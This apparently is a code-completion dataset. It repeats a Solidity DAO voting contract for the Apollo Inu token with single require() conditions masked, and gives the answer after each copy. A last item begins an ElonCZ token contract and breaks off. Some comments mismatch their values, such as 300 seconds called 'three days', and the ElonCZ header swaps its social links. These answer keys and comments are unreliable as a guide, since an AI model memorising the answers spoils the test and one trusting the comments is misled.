/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
require(<FILL_ME>)
require(!_newDAONominations[newDAO].votingClosed, "Voting has already closed for this nomination");
require(approvedNewDAO == address(0), "There is already an approved new DAO");
bool approved = (_newDAONominations[newDAO].votesFor > _newDAONominations[newDAO].votesAgainst);
if (approved) {
approvedNewDAO = newDAO;
daoApprovedTime = block.timestamp;
}
activeDAONominations -= 1;
_newDAONominations[newDAO].votingClosed = true;
emit VotingClosed(newDAO, approved);
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| block.timestamp>(_newDAONominations[newDAO].timeOfNomination+daoVotingDuration),"We have not passed the minimum voting duration" | 489,817 | block.timestamp>(_newDAONominations[newDAO].timeOfNomination+daoVotingDuration) |
"Voting has already closed for this nomination" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
require(block.timestamp > (_newDAONominations[newDAO].timeOfNomination + daoVotingDuration), "We have not passed the minimum voting duration");
require(<FILL_ME>)
require(approvedNewDAO == address(0), "There is already an approved new DAO");
bool approved = (_newDAONominations[newDAO].votesFor > _newDAONominations[newDAO].votesAgainst);
if (approved) {
approvedNewDAO = newDAO;
daoApprovedTime = block.timestamp;
}
activeDAONominations -= 1;
_newDAONominations[newDAO].votingClosed = true;
emit VotingClosed(newDAO, approved);
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| !_newDAONominations[newDAO].votingClosed,"Voting has already closed for this nomination" | 489,817 | !_newDAONominations[newDAO].votingClosed |
"We have not finished the delay for an approved DAO" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
require(approvedNewDAO != address(0), "There is not an approved new DAO");
require(<FILL_ME>)
apolloToken.changeArtistAddress(approvedNewDAO);
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| block.timestamp>(daoApprovedTime+daoUpdateDelay),"We have not finished the delay for an approved DAO" | 489,817 | block.timestamp>(daoApprovedTime+daoUpdateDelay) |
"This function cannot be called while this contract is the DAO" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
require(<FILL_ME>)
if(amountToReflect == 0){
amountToReflect = apolloToken.balanceOf(address(this));
}
apolloToken.reflect(amountToReflect);
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| apolloToken.artistDAO()!=address(this),"This function cannot be called while this contract is the DAO" | 489,817 | apolloToken.artistDAO()!=address(this) |
"Trading is not active" | // SPDX-License-Identifier: AGPL-3.0-or-later
/*
🔥 Telegram: https://twitter.com/ElonCZ_eth
🐦 Twitter: https://t.me/ElonCZ_ETH
🌐 Website: https://www.eloncz.xyz/
*/
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IDividendSplitter.sol";
contract ElonCZ is ERC20, Ownable {
uint256 public supply;
uint256 public canSwapTokens;
// % of the supply
uint256 public maxWalletPercent = 5;
uint256 public maxTxSupply = 5;
uint256 public maxWallet;
uint256 public maxTx;
// allow to exclude address from fees or/and max txs
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping(address => bool) public automatedMarketMakerPairs;
IDividendSplitter private dividendSplitter;
bool public tradingActive = false; // toggle trading
uint256 public blockDelay = 5;
mapping(address => uint256) private _accountTransferTimestamp;
bool private swapping;
address public marketingWallet;
constructor(address _uniswapV2RouterAddress, address _dividendSplitterAddress) ERC20("ElonCZ", "ECZ") {
}
/* ---- Setters ---- */
function enableTrading() external onlyOwner {
}
function updateLimitsPercent(uint256 _maxTx, uint256 _maxWallet) external onlyOwner {
}
function updateMarketingWallet(address _new) external onlyOwner {
}
function excludeFromMaxTx(address _account, bool _status) public onlyOwner {
}
function excludeFromFees(address _account, bool _status) public onlyOwner {
}
function updateBlockDelay(uint256 _new) external onlyOwner {
}
/* ---- View ---- */
function isExcludedFromFees(address account) public view returns (bool) {
}
/* ---- Brain ---- */
function updateLimits() private {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(<FILL_ME>)
